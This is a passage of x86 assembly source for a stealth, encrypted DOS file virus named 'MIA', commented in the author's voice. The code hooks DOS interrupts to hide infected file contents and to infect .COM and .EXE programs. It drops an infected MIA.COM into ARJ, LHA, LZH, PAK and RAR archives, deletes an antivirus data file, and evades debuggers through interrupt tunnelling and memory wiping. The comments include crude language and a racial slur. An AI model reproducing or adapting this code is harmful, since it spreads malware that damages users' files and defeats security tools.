real-time clock time db 04h,1Ah ; AH=04h, INT 1Ah, get real-time clock date db 0Bh,21h ; AH=0Bh, INT 21h, get standard input status db 30h,21h ; AH=30h, INT 21h, get DOS version db 4Dh,21h ; AH=4Dh, INT 21h, get program's return code db 51h,21h ; AH=51h, INT 21h, get current PSP segment db 54h,21h ; AH=54h, INT 21h, get verify flag state db 62h,21h ; AH=62h, INT 21h, get current PSP segment db 00h,2Ah ; AH=00h, INT 2Ah, network installation check SubTtl Mathesis scientiarum genetrix Wordz dw 0CCABh ; Solar Designer's HiFont installation check db 10h ; INT 10h dw 0400h ; Microsoft System Journal TSRCOMM INT 14h db 14h ; INT 14h dw 4DD4h ; HP 95-LX/100-LX/200-LX installation check db 15h ; INT 15h dw 0F398h ; Norton Guides installation check db 16h ; INT 16h dw 4B00h ; Brother P-Touch installation check db 17h ; INT 17h dw 3300h ; Extended break check db 21h ; INT 21h dw 5800h ; Get memory allocation strategy db 21h ; INT 21h dw 0FF92h ; PC/TCP PREDIR.EXE installation check db 2Ah ; INT 2Ah dw 1600h ; MS Windows enhanced mode installation check db 2Fh ; INT 2Fh dw 4010h ; OS/2 v2.00+ installation check / get version db 2Fh ; INT 2Fh dw 8200h ; Nanosoft CAPDOS installation check db 2Fh ; INT 2Fh dw 9900h ; DOS Navigator II installation check db 2Fh ; INT 2Fh dw 0B700h ; APPEND.EXE installation check db 2Fh ; INT 2Fh Multimax: db 01h ; INT 01h - single step interrupt db 04h ; INT 04h - INTO detected overflow db 08h ; INT 08h - IRQ 0, system timer db 0Ah ; INT 0Ah - IRQ 2, LPT2 db 0Bh ; INT 0Bh - IRQ 3, serial COM2-COM8 db 0Ch ; INT 0Ch - IRQ 4, serial COM1 db 0Dh ; INT 0Dh - IRQ 5, fixed disk/LPT2/reserved IRQ db 0Eh ; INT 0Eh - IRQ 6, diskette controller db 0Fh ; INT 0Fh - IRQ 7, LPT1 db 11h ; INT 11h - BIOS, get equipment list db 12h ; INT 12h - BIOS, get conventional memory size db 1Ch ; INT 1Ch - system timer tick (called by IRQ 0) db 28h ; INT 28h - DOS 2.00+ idle interrupt db 2Bh ; INT 2Bh - reserved for IBM ROM-DOS v4.00 ?? db 70h ; INT 70h - IRQ 8, CMOS RTC (Real-Time Clock) db 71h ; INT 71h - IRQ 9, redirected to IRQ 2 db 72h ; INT 72h - IRQ 10, reserved IRQ db 73h ; INT 73h - IRQ 11, reserved IRQ db 74h ; INT 74h - IRQ 12, pointing device db 75h ; INT 75h - IRQ 13, coprocessor exception db 76h ; INT 76h - IRQ 14, hard disk controller db 77h ; INT 77h - IRQ 15, reserved IRQ Ones: ; One-byte instructions... aaa ; ASCII adjust AX after addition aas ; ASCII adjust AX after subtraction clc ; Clear carry flag cld ; Clear direction flag cli ; Clear interrupt flag cmc ; Complementary carry (toggle carry flag state) cwd ; Convert word (AX) into doubleword (DX:AX) daa ; Decimal adjust AX after addition das ; Decimal adjust AX after subtraction dec ax dec bx dec cx dec dx dec bp in al,dx in ax,dx inc ax inc bx inc cx inc dx inc bp int 03h into ; Generate INT 04h if overflow flag is set lahf ; Store low 8-bit flags into AH nop repe repnz sahf ; Set low 8-bit flags equal to AH setalc ; SETALC opcode (equal to SBB AL,AL) stc ; Set carry flag std ; Set direction flag sti ; Set interrupt flag wait ; Halt CPU until FPU finishes current opcode xchg ax,bx xchg ax,cx xchg ax,dx xchg ax,bp xlat ; MOV AL,DS:[BX+AL] Fixup: db 0B4h ; MOV AH,XX Keybyte db 00h ; Dis is the cipher! mov cx,offset Decryptor - offset BootStrap mov si,offset BootStrap Interplay: lodsb ; Load a byte clc Feed db 32h,0C4h ; ADD AL,AH/XOR AL,AH/SUB AL,AH/ADC AL,AH/SBB AL,AH mov ds:[si - 01h],al ; Put it back loop Interplay ret Strike: call Fixup ; Now encrypt! mov ds:byte ptr [Slack + (Feed - Fixup)],00h Food equ $ - 01h ; Swap encryption type mov ah,40h mov cx,VirLen ; Virus length to write cwd ; SUB DX,DX (AX must be positive) mov di,offset Buffy int 03h sbb cx,ax ; if CX = AX, all requested bytes written ; either, the disk might be full pushf call Fixup ; Time to decrypt! popf ret ; And return Lseek_BOF: xor al,al db 0A9h ; TEST AX,02B0 Lseek_EOF: mov al,02h Lseeker: mov ah,42h ; File R/W pointer movement function sub cx,cx ; Zero CX cwd ; Convert word into doubleword: AX ÄÄÄ DX:AX int 03h ret RightWrite: mov ah,40h ; Write function int 03h sbb ax,cx ; AX = zero and ZF=1 if successful ret Undress: mov si,offset Buffy Scrap: push cx si mov cx,0018h ; 24 bytes header Shatter: neg ds:byte ptr [si] ; Lame garbling, as You can see... ;-) inc si dec cx ; Why not use LOOP instead? jnz Shatter ; Well, we need ZF to be set on return pop si cx ret Read_Head: mov ax,4200h sub dx,VirLen sbb cx,0000h ; Subtract virus length from file size int 03h ; Move R/W pointer to EOF / BOV mov ah,3Fh mov cx,0018h + (offset Buffy - offset VirBeg) mov dx,offset Buffy mov si,dx int 03h ; Check whether file's really infected of not Seamless: lodsw xor ax,0EBFCh ; CLD + short JMP opcode?? jnz Undone lodsb add al,0B8h ; 48h ? jz Scrap ; If ZF=1, the file has really been infected Undone: ret Frantic: call Flip ; Push all registers sub si,si mov ds,si mov ax,ds:[si + 0Ch] ; Get offset of INT 03h from IVT xchg cs:word ptr [Viral_Interrupt],ax mov ds:[si + 0Ch],ax mov ax,ds:[si + 0Eh] ; Get segment of INT 03h from IVT xchg cs:word ptr [Viral_Interrupt + 02h],ax mov ds:[si + 0Eh],ax mov cx,0003h ; 3 bytes to patch lds si,ds:[0090h] ; Load the vector of INT 24h from IVT mov di,offset Replacement call Exposure ; Patch/dispatch it! jmp Unload ; Pop all registers and return SubTtl Est modus in rebus sunt certi denique fines Overlook: les dx,ds:dword ptr [LowSiz] mov cx,es call Read_Head ; Make sure it's infected, if yes decrypt the jnz Farewell ; original header call Lseek_BOF ; Move R/W pointer to BOF mov ah,40h mov cl,18h mov dx,si ; Write data at DS:DX to file at current position int 03h mov ax,4202h mov cx,0FFFFh ; Move R/W pointer backward from EOF (EOV) mov dx,offset VirBeg - offset VirEnd int 03h mov ah,40h xor cx,cx ; And truncate the file! int 03h mov ax,5700h int 03h ; Get file date/time stamps cmp dh,0C7h jbe Farewell sub dh,0C8h ; Millenium 2 rules... 8-D inc ax int 03h Farewell: jmp Restore_Pointer ; Restore R/W position and pass control to DOS SubTtl Lento sed certo et recto gradu... Disinfect: js Overlook ; Jump if SF=1, must disinfect the file! jnz Detach ; Branch if ZF=0 cmp ax,cx jb Overlook ; Jump if CF=1, user tries to enlarge file size, ; disinfect the file! Detach: jcxz Overlook ; Jump if CX=zero, user tries to truncate file les dx,ds:dword ptr [LowPos] mov cx,es dec cx jge Generic ; Branch if SF = OF cmp dx,0018h jb Overlook ; Jump if below 24, user tries to write to ; header area, disinfect the file! Generic: call Flop ; Restore all registers popf ; and flags int 03h ; Execute DOS request pushf ; Push flags jc Salvation pusha ; Save all registers except segment ones mov ax,5700h int 03h ; Get file date/time stamps cmp dh,38h jnb Futuristic ; Jump if not below adc dh,0C7h inc ax ; Set file date/time stamps int 03h Futuristic: popa ; Restore all registers except segment ones Salvation: jmp Request ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Fh/40h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Fervour: call Verify ; ???? call Flip ; Push all registers push ds pop es push cs pop ds mov ds:[R_Bytes],cx ; Save bytes count mov ds:[ReadOff],dx ; Save buffer offset push cx mov al,01h call Lseeker ; Get pointer's current position mov ds:[LowPos],ax mov ds:[HiPos],dx ; And store it onto stack and ds:[HeadSiz],cx ; Make it zero call Lseek_EOF ; Move pointer to EOF and get file size DX:AX mov ds:[LowSiz],ax mov ds:[HiSiz],dx ; Save it too mov ax,4200h mov cx,ds:[HiPos] mov dx,ds:[LowPos] ; Move pointer back to previous position int 03h pop cx ; CX = Bytes to read mov ax,ds:[LowSiz] ; Get low-word file size mov dx,ds:[HiSiz] ; Get high-word file size sub ax,VirLen ; Adjust file size - virus length sbb dx,0000h jc Too_Small ; File size is smaller than virus length? sub ax,ds:[LowPos] ; Subtract current R/W position from it sbb dx,ds:[HiPos] pushf cmp ss:byte ptr [bp + 11h],40h jne Readfile popf ; Restore flags state jmp Disinfect Insufficient: xor ax,ax ; Return AX = zero Outland: mov ss:[bp + 10h],ax ; SS:[BP+10h] = AX on stack and ss:byte ptr [bp + 12h],0FEh jmp Unclasp Readfile: popf js Insufficient ; Jump if read pointer reaches MIA's body jnz Auspice cmp ax,cx ; Did He try to read too many bytes? jae Auspice mov ds:[R_Bytes],ax ; Who dares to harm My sweet MIA ?? 8-S Auspice: mov cx,ds:[HiPos] mov dx,ds:[LowPos] dec cx ; Across 64K boundary?? jnl Overcross ; Jump if so cmp dx,0018h ; Pointer is within header? jb Backspin ; Jump if so Overcross: push es mov ah,3Fh ; Read the rest of file les dx,ds:dword ptr [ReadOff] mov cx,es pop ds int 03h db 05h ; ADD AX,XXXX HeadSiz dw 1983h ; AX holds number of bytes been read jmp short Outland Backspin: mov di,dx add di,ds:[R_Bytes] ; Position + number of bytes to read cmp di,0017h ; Exceed 24 bytes range? jbe Flexible ; Jump if below or equal mov di,0018h SubTtl Labora ut in aeternum vivas Flexible: sub di,0019h ; (Negative) not di ; Re-swap it to positive, DI = remainder mov cx,ds:[HiSiz] ; Get infected size mov dx,ds:[LowSiz] call Read_Head ; Read original file header within virus body jz Viral_Phile ; and check whether it's really infected or not Restore_Pointer: mov ax,4200h les dx,ds:dword ptr [LowPos] mov cx,es int 03h ; Lseek to original location Too_Small: jmp short Make_Stand ; Bye, bye... Viral_Phile: mov ax,4200h mov cl,18h ; 24 bytes sub cx,ds:[LowPos] ; Subtract current position from CX sub cx,di ; Subtract modulus from CX mov dx,cx add si,ds:[LowPos] ; Adjust offset relative to buffer mov di,ds:[ReadOff] ; Get offset of (original) read buffer repe movsb ; Copy original header to caller's read buffer ; (do nothing if CX=zero) add ds:[ReadOff],dx ; Adjust read buffer offset sub ds:[R_Bytes],dx ; Subtract read count add ds:[HeadSiz],dx add dx,ds:[LowPos] ; Read position + read bytes = new position int 03h jmp short Overcross ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=48h/67h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; When either of these 2 function is invoked, MIA checks the value in BX for ; FFFFh word which, in function AH=48h, usually called to get largest memory ; block available, this seems unlikely to be generated when calling function ; AH=67h, if this condition matches the actual case, MIA makes an attempt to ; allocate new memory block with random strategy, if this succeeds, then MIA ; will move all the codes to new memory block and erase traces in old block ; before freeing it, this try will never be done if the fake ROM BIOS INT 13h ; handler has not installed since MIA could not determine where the viral INT ; 13h vector was stored by DOS (to be able to change the segment). In another ; case, when BX is not FFFFh or fake ROM BIOS INT 13h is not installed, MIA ; looks for one .ARJ, .LHA, .LZH, .PAK, or .RAR file that doesn't have time ; stamp with 60 secs and drops a dropper into the archive by then. ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Removable: call Flip ; Push all registers push cs inc bx ; Does caller wants to allocate all available pop ds ; memory? do another thing if not jnz Craze cmp ds:[Fake_ROM],bl ; Fake ROM BIOS installed? jna Craze ; Jump if not installed mov ax,5802h ; DOS function AX=5802h, get UMB link state mov si,bx and di,si int 03h ; If CF=0, cbw ; AL = 00h ÄÄÄ UMB is unavailable or push ax ; AL = 01h ÄÄÄ UMB is in DOS memory chain or al,01h mov bx,5803h ; DOS function AX=5803h, set UMB link state xchg ax,bx int 03h mov ax,5800h ; DOS function AX=5800h, get current memory int 03h ; allocation strategy push ax ; Save it mov al,offset Bait - offset Alloc mov bx,offset Alloc call Ranger xlat ; MOV AL,DS:[BX+AL] mov bx,5801h ; DOS function AX=5801h, set memory allocation xchg ax,bx ; strategy int 03h ; Try to reset strategy mov ah,48h ; Allocate new memory block for My sweet... 8-D mov bx,VirPar ; My baby's resident size in paragraph int 03h jnc Blocked ; Jump if succeeded Blockless: mov ax,5801h ; Reset memory allocation strategy pop bx int 03h mov ax,5803h ; Reset UMB link state pop bx int 03h Make_Stand: call Flop ; Restore all registers Dash: jmp Clueless ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=00h/4Ch dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Revenge: push ax cs ; Save return code onto stack mov ax,4301h ; DOS function AX=4301h, set file's attributes xor cx,cx ; Zero CX mov dx,offset Retro pop ds int 03h ; Clear attributes of ANTI-VIR.DAT file jc Miss ; file not found? mov ah,3Ch ; DOS function AH=3Ch, create/truncate file mov bh,3Eh int 03h ; Truncate (and open) it! jc Miss ; Error? xchg ax,bx int 03h ; Just close it mov ah,41h ; and unlink it int 03h Miss: pop ax jmp short Dash Qualified: mov ah,1Ah lds dx,ds:dword ptr [Decryptor + 04h] int 03h ; Restore original DTA popf jc Make_Stand ; Branch if not found mov si,offset Decryptor + 26h Orbit: push cs pop ds jmp Macron ; Drop MIA.COM into ARJ/LHA/LZH/PAK/RAR archive Blocked: push cs ax ; AX = segment of newly allocated block mov cx,VirZon / 02h ; All codes and variables mov es,ax repe movsw ; Move MIA to new location, 8-) push offset Newland retf ; Just jump to it Craze: mov ah,2Fh int 03h ; Get current DTA address mov ah,1Ah mov dx,offset Decryptor + 08h mov ds:word ptr [Decryptor + 04h],bx mov ds:word ptr [Decryptor + 06h],es int 03h mov ax,(offset Suckers - offset Cards) / 06h call Ranger ; Choose one of five kinda wild card masks to imul ax,0006h ; look for add ax,offset Cards mov dh,4Eh ; Function AH=4Eh, find first filename DS:DX xchg ax,dx Find_Next: int 03h pushf jc Qualified ; Not found? mov al,ds:byte ptr [Decryptor + 1Eh] and al,1Fh ; Get number of seconds sub al,1Eh ; 60 seconds (invalid) ? jnz Qualified ; Nope, so not infected yet (or archive has been mov ah,4Fh ; modified since last infection) popf jmp short Find_Next ; Find next .ARJ/.LHA/.LZH/.PAK/.RAR file Newland: ; Have a nice place!! 8-) dec ax ; Point AX to new MCB and bx,cx mov ds,ax call Remark ; Mark this block as owned by IO kernel cbw ; Convert byte into word mov ds,bx mov ds:[bx + 62h],cs ; New segment for INT 18h handler mov ds:[04F3h],cs ; New segment for INT 40h jumper mov al,cs:[Button] ; Fake INT 09h number mov bl,cs:[Fake_ROM] ; Fake INT 13h number mov cl,cs:byte ptr [Interstice + 01h] xchg si,ax mov di,cx mov cl,02h shl bx,cl rol si,cl ; Multiply by 4 sal di,cl mov ds:[bx + 02h],cs ; Set DOS patcher interrupt segment mov ds:[si + 02h],cs ; Set fake INT 13h segment mov ds:[di + 02h],cs ; Set fake INT 09h segment xor ax,ax mov cx,VirPar * 08h ; Virus block size in words sub di,di ; Erase everything in old block... pop es ; I'd miss You so much, old block... 8-) repe stosw mov ah,49h int 03h jmp Blockless SubTtl Experientia docent sapientiam Unarchive: mov ah,51h ; Get current PSP segment into BX int 03h dec bx mov es,bx ; ES points current program's MCB mov bx,0008h ; MCB owner name is at offset 8 mov dx,offset Suckers ; This is the list of the niggas around us mov si,dx Addfile: mov cx,bx ; 8 bytes for filename (without extension) mov di,cx db 2Eh ; CS: override lodsb Probable: repnz scasb ; Scan ES:[DI] for AL jcxz Inzip db 2Eh ; CS: override cmpsw ; Compare next word je Forgone cmp di,000Dh ; Impossible! jb Probable Inzip: add dx,0003h ; Next nigga! mov si,dx cmp dx,offset Retro jb Addfile ; Run out? cmp es:word ptr [bx],4C4Ch ; 'LL' ? clc jne Forgone mov al,es:[bx + 02h] ; ??? xor al,30h cmp al,09h ; ??? Forgone: ret Coverlet: push ds sub ax,ax ; Zero AX mov cx,VirLen / 02h ; Overwrite virus portion in memory... pop es ; So virus codes will never be seen every time repe stosw ; infected program is being debugged ret SubTtl In silentio et spe fortitudo mea... Sick: mov dx,ds:[Old_Date] ; Where We saved the date stamp cmp dh,38h jnb Future_File adc dh,0C7h ; Add a century Future_File: mov ax,ds:[Old_Time] lds si,ds:dword ptr [SFT_Off] mov ds:byte ptr [si + 04h],20h File_Attribs equ byte ptr $ - 01h or ds:byte ptr [si + 06h],40h mov ds:[si + 0Dh],ax ; Restore/change file time stamp mov ds:[si + 0Fh],dx ; Ditto... date stamp mov ah,3Eh ; Close file handle int 03h Zing: mov al,40h lds dx,cs:[DOS_Floppy] call Vectorize ; Restore (viral) floppy disk handler mov al,15h lds dx,cs:[IO_Cassette] call Vectorize ; Restore I/O cassette (OS hook) handler mov al,13h lds dx,cs:[bx - 35h] ; BX = 0054h call Vectorize ; Restore DOS disk handler push cs pop ds mov al,ds:byte ptr [Interstice + 01h] xchg di,ax mov ax,0100h ; Pick an interrupt number call Ranger ; Obtain random word in range into AX mov bx,ax rol bx,02h xor si,si mov ds,si cmp ds:[bx],si ; Check whether the vector is used or not jnbe Unchanged cmp ds:[bx + 02h],si ja Unchanged ; If used, bail out push cs pop ds mov ds:byte ptr [Interstice + 01h],al mov dx,offset Trapper call Vectorize ; He he he, this is polymorphic interrupt, 8-) push ds sal di,02h ; Multiply by 4, to get vector address in IVT pop es stosw ; Clear old interrupt vector stosw Unchanged: call Restore_IRQs ; Restore PIC state Lollipop: call Flop cmp ah,0Eh ; Set default drive? je Leaveall cmp ah,3Eh ; Close file handle function? jne Dissimilar and cs:[F_Hand],0000h ; Ready, steady, go! jmp short Leaveall ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=49h/4Ah dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Freelance: ; Protect MIA's current block pusha ; Push all registers except segment ones mov ax,cs ; Virus segment mov bx,es ; Segment of block to be freed cmp ax,bx ; Compare 'em popa ; Pop all registers except segment ones jne Unequal ; Jump if ZF=0 mov ax,0009h ; "Memory block address invalid" Return_Error: popf stc ; Set CF jmp short Rejected ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=25h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Rehook: cmp al,cs:[Button] ; Same huh?? je Leaveall cmp al,cs:[Fake_ROM] ; This user really sucks!!! je Leaveall cmp al,cs:byte ptr [Interstice + 01h] je Leaveall Unequal: jmp Clueless ; Pass control to DOS Dissimilar: cmp ax,4B01h ; Load but not execute program? je Overlay cmp ah,60h ; Canonize file/path name? jne Anything ; Branch if not mov ah,3Ah Character equ byte ptr $ - 01h jmp short Bad_Func Anything: cmp ah,6Ch ; Extended open/create? jne Unequal sub ax,ax xchg cs:[F_Hand],ax ; Restore AX and clear viral handle Leaveall: jmp short Bad_Func ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=3Eh dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Freehand: dw 0FB81h ; Is it the handle We were saved before? F_Hand dw ? ; Stored file handle jne Unequal push ax dx mov ax,4400h ; IOCTL - get device/file handle infos int 03h rol dl,01h ; Device or file? pop dx ax jc Unequal ; Branch if device popf int 03h ; Call DOS Rejected: pushf jc Bad_Func ; Invalid handle? call Flip mov si,offset FileName ; Where We saved the file drive + path + name jmp Orbit Overlay: ; 'tis usually generated by debugger programs, popf ; load a program but it ain't gonna be executed push bx int 03h ; Load the program... pop bx ; Restore BX (destroyed by DOS) pushf jc Bad_Func ; File not found? ;ÄÄÄÄÄÄÄÄÄÄÄÄ[ Steal virus portion without disinfects the file ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cld ; Ah...! DF again! call Flip lds si,es:[bx + 12h] ; Load entry point vector from parameter block cmp si,0100h ; Entry point = 0100h ? (.COM file?) jne Inclined ; Nope, check whether it's an .EXE cmp ds:byte ptr [si],0E9h ; First instruction is a near JMP ? jne Unclasp ; No, it's not infected mov bx,ds:[si + 01h] mov cx,ds:[si + 02h] add ch,cl ; If CL + CH = zero, the file's infected jnz Unclasp SubTtl Experientia est optima rerum magistra mov di,si ; DI = 0100h lea si,[bx - ((offset Decryptor - offset VirBeg) - 100h) + (offset Buffy - offset VirBeg)] call Seamless ; Decrypt original 24 bytes of .COM file jnz Unclasp ; ZF=0 ÄÄÄ file's not infected push ds mov ax,ds:[si] ; Why not LODSW ? pop es stosw ; Store it into entry point mov ax,ds:[si + 02h] ; Next word... Eraser: stosw lea di,[si - 03h] ; DI = beginning-of-virus call Coverlet ; Overwrite virus portion with zeros Unclasp: call Flop ; Restore all registers Bad_Func: jmp Request ; Return to interrupt caller Inclined: sub si,offset Decryptor ; Check entry point... jc Unclasp ; Jump if below viral IP cmp si,000Fh ; Viral .EXE's delta offset mustn't be above 15 jnbe Unclasp call Seamless ; Decrypt original .EXE header jnz Unclasp ; ZF=0 ÄÄÄ file's not infected push es mov ah,51h ; Get current PSP segment into BX lea di,[bx + 0Eh] ; ES:DI now points at initial (viral) SS:SP int 03h les bp,es:[di] ; Load vector of program's SS:SP mov bp,es:[bp] ; Copy word on top of stack into BP mov es,bx call Adjust ; Adjust Top-Of-Memory field pop es mov ax,ds:[si + 10h] ; Get initial SP dec ax ; What the blaze!! adding stack space?? dec ax ; (bugfix for MS-DOS that corrupts top word of push ax ; program's stack) stosw mov ax,ds:[si + 0Eh] ; Obtain initial SS add bx,0010h ; Add with PSP size in paragraph add ax,bx ; Add with PSP segment push ax stosw ; Store it into parameter block mov ax,ds:[si + 14h] ; Get initial IP stosw ; Store it mov ax,ds:[si + 16h] ; Obtain initial CS add ax,bx ; Add with first segment beyond PSP stosw xchg bp,ax pop es di jmp short Eraser ; it'll be initial AX value at program startup ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Dropper's host program ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Program: mov ah,4Ah mov bx,((offset Cards - offset Program) + 10Fh) / 10h int 21h ; Resize host's MCB mov si,(offset CmdLn - offset Program) + 100h mov ds:[In_SP],sp mov ds:[In_SS],ss ; Save SP & SS int 2Eh ; Call COMMAND interpreter cli mov ax,4C00h ; Terminate with exit code 0 mov bx,0A000h In_SS equ word ptr (($ - 02h) - offset Program) + 100h mov sp,0FFFEh In_SP equ word ptr (($ - 02h) - offset Program) + 100h mov ss,bx sti int 21h CmdLn db 03h,'VER',0Dh Cards db '*.ARJ',00h ; Wild card for ARJ archives infection purpose db '*.LHA',00h ; Wild card for LHA archives infection purpose db '*.LZH',00h ; Wild card for LZH archives infection purpose ; db '*.MIA',00h db '*.PAK',00h ; Wild card for PAK archives infection purpose db '*.RAR',00h ; Wild card for RAR archives infection purpose ; db '*.ZIP',00h ;ÄÄÄÄÄÄÄÄÄÄÄ[ Here's the list of suckers (who make MIA paranoid) ]ÄÄÄÄÄÄÄÄÄÄÄÄ Suckers db 'ARJ' ; ARJ.EXE - ARJ archiver db 'DSK' ; CHKDSK.EXE/SPEEDDSK.EXE - disk utilities db 'EFR' ; DEFRAG.EXE - disk defragmentation utility db 'FTP' ; FTP.EXE/FTPX.EXE ????? db 'IET' ; DIET.EXE ?? db 'KUP' ; BACKUP.COM/BACKUP.EXE/MSBACKUP.EXE db 'LHA' ; LHA.EXE - LHA archiver db 'LIX' ; TELIX archiver db 'LTH' ; ASTEALTH.EXE - stealth parasitic virus detector db 'LZH' ; LZH archiver db 'MOD' ; MODEM.EXE ??? db 'NDD' ; Norton Disk Doctor?? db 'RAR' ; RAR.EXE - RAR archiver db 'UUE' ; UUENCODE.EXE db 'ZIP' ; PKZIP/*ZIP* - ZIP archivers Retro db 'ANTI-VIR.DAT',00h ; ThunderBYTE TbSetup data file db 'command.com' ; DOS COMMAND interpreter WinVxD db '\SYSTEM' db '\IOSUBSYS' db '\HSFLOP.PDR' ; MS Windows floppy disk driver file Alloc db 00h ; Low memory first fit db 01h ; Low memory best fit db 02h ; Low memory last fit db 40h ; High memory first fit (DOS v5.00+) db 41h ; High memory best fit (DOS v5.00+) db 42h ; High memory last fit (DOS v5.00+) db 80h ; First fit, try high then low memory (DOS v5.00+) db 81h ; Best fit, try high then low memory (DOS v5.00+) db 82h ; Last fit, try high then low memory (DOS v5.00+) Bait db '\MIA.COM',00h ; Dropper filename (backslash indicates in root) ; db "Mia, touch Me tenderly, hug Me warmly, kiss Me sweetly... " ; db "Ohh... imagination feels so fine and the truth hurts like " ; db "hell, if You ain't mine... Mia, Mia, Mia...",00h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=19h dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Internal: cmp al,83h ; Infected program is executed when MIA jne Hurdle ; is already resident. cmp si,0BABEh jne Hurdle ; Hey baby, I'm right here waiting! cmp di,0FEEDh jne Hurdle ; Yes, this is the real MIA call Frantic ; Restore INT 03h and dispatch INT 24h call Backbreak ; Restore extended BREAK state call Swapper ; Patch INT 21h push cs pop es cx si ds di ; We won't return to caller, so clean up stack mov bx,bp ; Copy relocation constant into BX mov cx,000Ch mov di,offset Buffy lea si,[bx + di] ; SI = offset of original header in infected file sub bp,bp ; Make BP zero repe movsw ; Copy original header to virus buffer mov di,bx call Coverlet ; Erase virus traces in memory push cs pop ds call Undress ; Decrypt original file header, *yawn* jmp Overlap Verify: call Flip mov ax,4400h ; IOCTL - get handle BX infos int 03h cmp dl,80h ; Test, device handle or file handle? cmc ; Complementary carry, toggle CF state jna Fearsome ; Branch if device mov ax,5700h ; Get file date/time stamps int 03h cmp dh,0C7h jbe Fearsome call Unarchive ; Some babe! Fearsome: call Flop jna Device ; Jump if not file handle ret Device: inc sp inc sp ; Never return, so clean up stack Hurdle: jmp short Clueless ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ DOS function AH=0Eh dispatcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; When an attempt to change current drive is made by DOS, MIA intercepts it, ; calling the original function, and tries to drop a file named MIA.COM in ; root directory, if this doesn't stall, MIA just infects that file. The file ; is needed by MIA when trying to infect ARJ/LHA/LZH/PAK/RAR archives. ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Dropper: popf ; function AH=3Bh will destroy it int 03h ; Change drive/directory pushf call Flip cmp al,dl ; Must be a valid drive jna Surpass mov ah,36h ; Get free disk space cwd ; DL = zero = in current drive int 03h cmp bx,Loader + 01h ; BX = total free clusters on disk jb Surpass push cs mov ax,6C00h ; Create a new file mov bx,1002h mov cl,20h ; With archive attribute mov dx,0010h mov si,offset Bait ; DS:DX = ASCIZ filename to create pop ds int 03h xchg bx,ax sbb cx,0002h ; CX = 0002h = file has just been created jnz Surpass ; Error? file exists or disk is write-protected push cs pop ds mov cl,VirVxD ; 40 bytes mov dx,offset Program call RightWrite ; Write some fake codes pushf mov ah,3Eh int 03h ; Close file popf jnz Unlink jmp Macron ; and infect it! SubTtl Expectes alteri quod feceris! Unlink: mov ah,41h ; Delete the file, huh! mov dx,si int 03h Surpass: call Flop ; Restore registers Request: call Frantic ; Restore INT 03h and dispatch INT 24h call Backbreak ; Restore extended BREAK state call Swapper ; Patch INT 21h call Freeware ; Allow boot-record infection call Scramble ; Garble some bytes End_Cloak equ $ - 02h Achieve: popf retf 0002h ; Return normally as nothing happened Clueless: push ax ds cs pop ds call Rand16 ; Obtain random word value xor cs:word ptr [ExOr + 03h],ax pop ds ax call Frantic ; Restore INT 03h and dispatch INT 24h call Scramble ; Garble some bytes Tunnel: call Flip ; Push all registers push cs pop ds in al,21h ; Get PIC 1 status mov ds:[IRQ],al in al,0A1h ; Get PIC 2 status mov ds:[IIO],al stc setalc ; Mask all bits out 21h,al ; Disable IRQ 0 - 7 out 0A1h,al ; Disable IRQ 8 - 15 call Backbreak ; Restore extended BREAK state neg al ; AL = 01h mov dx,offset Tracer ; Set INT 01h vector call Vectorize push cs xchg bx,ax ; BX = zero mov ss:byte ptr [bp + 13h],06h Flags equ byte ptr $ - 01h pop ds mov ds:[bx + 27h],dx ; Store original INT 01h offset mov ds:[bx + 29h],cx ; Store original INT 01h segment mov ds:byte ptr [bx + 2Bh],0FDh xor ds:word ptr [Trapper + 01h],0F828h call Flop popf ; Trace flag is now turned on jmp VirEnd ; Original INT 21h... ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 21h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Trapper: add sp,0004h ; Throw off caller's CS & IP (but keep flags) call Swapper ; Dispatch INT 